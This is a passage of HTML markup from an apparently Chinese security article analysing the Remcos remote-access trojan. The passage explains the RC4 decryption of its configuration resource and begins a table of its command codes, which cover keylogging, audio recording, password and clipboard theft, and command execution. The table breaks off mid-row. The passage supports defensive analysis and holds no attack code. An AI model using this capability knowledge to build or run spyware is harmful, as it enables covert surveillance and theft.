SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mpax7q9818u1" data-mpa-action-id="mpax7q9fxxc" data-pm-slice="0 0 []">图11 Remcos寻找PE资源</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">资源数据中第一个字节为密钥长度A0，紧随其后的数据块是它的密钥。</span></p><p style="text-align: center;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.5650040883074408" style="width: 553.74px;height: 312.87px;" data-w="1223" src="https://wechat2rss.xlab.app/img-proxy/?k=77b5698f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKr79YXZ8trRD6qoCJchCqOP6K31oDQVN9H1htpGIpp1BanwiccxhDibb1pwhm5ct2JlfIoUTuL3oENhzibQIySRKOhTwrRToUycE%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align:center;mso-pagination:widow-orphan;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">图12 资源中的原始字节</span></span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">可以看出，其解密过程具有明显的RC4算法特征。</span></p><p style="text-align: center;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.5458663646659117" style="width: 553.74px;height: 302.27px;" data-w="883" src="https://wechat2rss.xlab.app/img-proxy/?k=581ed288&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJbRzzfA7kXFVm0nf95lk7EUYcsAdhxK9WzNGGF4ycTcadxq6Iqa5cAZQwabhmveqDjOhyK3O3ZGOCF6PsLNSb61ZICqop6c8Y%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align: center;margin-top: 16px;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><span leaf="">图13 解密配置信息过程</span></span></p><p style="text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">解密后我们得到了它的配置，包含了C2域名、端口、受害客户端名称、键盘记录存储文件名、证书等信息。</span><o:page></o:page></p><p style="text-align: center;"><span style="font-family: Calibri;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.7125748502994012" style="width: 553.74px;height: 394.61px;" data-w="835" src="https://wechat2rss.xlab.app/img-proxy/?k=25efa893&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJXok0cMAKZDFNVmicibEAPRrDVLYozkgu2WFLxMSzYH77lkjZZnDIzA8Bl83Viaro0l3V3awTPsPe4V76wRcAf1FI2hryTwBfH5s%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></span></p><p style="text-align:center;mso-pagination:widow-orphan;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">图14 解密出的Remcos客户端配置信息</span></span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">这是一个功能完整的远控程序，主要功能包括命令执行、收集主机信息、启用摄像头、屏幕截取、麦克风录制等，它向C2发送的首个数据包包括系统用户名、CPU、系统版本等信息。</span></p><p style="text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">该Remcos远控程序的主要控制指令及其功能如下： </span></p><p style="text-align:center;mso-pagination:widow-orphan;"><span style="font-family:宋体;mso-ascii-font-family:Calibri;font-variant:normal;text-transform:none;"><span leaf="">表1 控制指令码及其功能</span></span></p><div><p><table style="border-collapse:collapse;border-width:medium;border-style:none;border-color:currentcolor;border-image:initial;width:420px;"><tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf=""><span textstyle="" style="font-weight: bold;">指令</span></span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf=""><span textstyle="" style="font-weight: bold;">功能</span></span></span></span></span></p></td></tr><tr style="mso-yfti-irow:1;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x1</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">发送心跳信息</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:2;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x3</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">获取已安装的软件列表</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:3;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x6</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">获取进程列表</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:4;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0xD</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">执行命令行</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:5;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x10</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">屏幕监控</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:6;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x12</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">获取离线键盘记录</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:7;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x13</span></span><span style=""><span leaf="">、</span><span lang="EN-US"><span leaf="">0x14</span></span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">开启、停止在线键盘记录</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:8;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x1D</span></span><span style=""><span leaf="">、</span><span lang="EN-US"><span leaf="">0x1E</span></span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">开启、停止音频录制</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:9;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x1F</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">发送密码</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:10;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x20</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">删除文件</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:11;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x24</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">更新客户端</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:12;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x26</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">弹出窗口消息</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:13;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x27</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">关机或重启</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:14;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x28</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">发送剪切板内容</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:15;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x30</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">聊天</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:16;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x38</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">注册表修改</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:17;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x8F</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">查找文件</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:18;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x92</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">设置壁纸</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:19;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x94</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">设置窗口文字、发送进程窗口</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:20;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0x97</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">调用</span><span lang="EN-US"><span leaf=""> dxdiag </span></span><span leaf="">导出系统信息并上传</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:21;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0xA0</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span style=""><span leaf="">断开连接时不播放警报声</span></span></span></span></p></td></tr><tr style="mso-yfti-irow:22;"><td data-colwidth="136" width="284" valign="top"><p style="text-align:left;mso-pagination:widow-orphan;"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="padding: 0cm 5.4pt;font-size: 15px;"><span lang="EN-US" style=""><span leaf="">0xAC</span></span></span></span></p></td><td data-colwidth="284" width="284" valign="top"><p 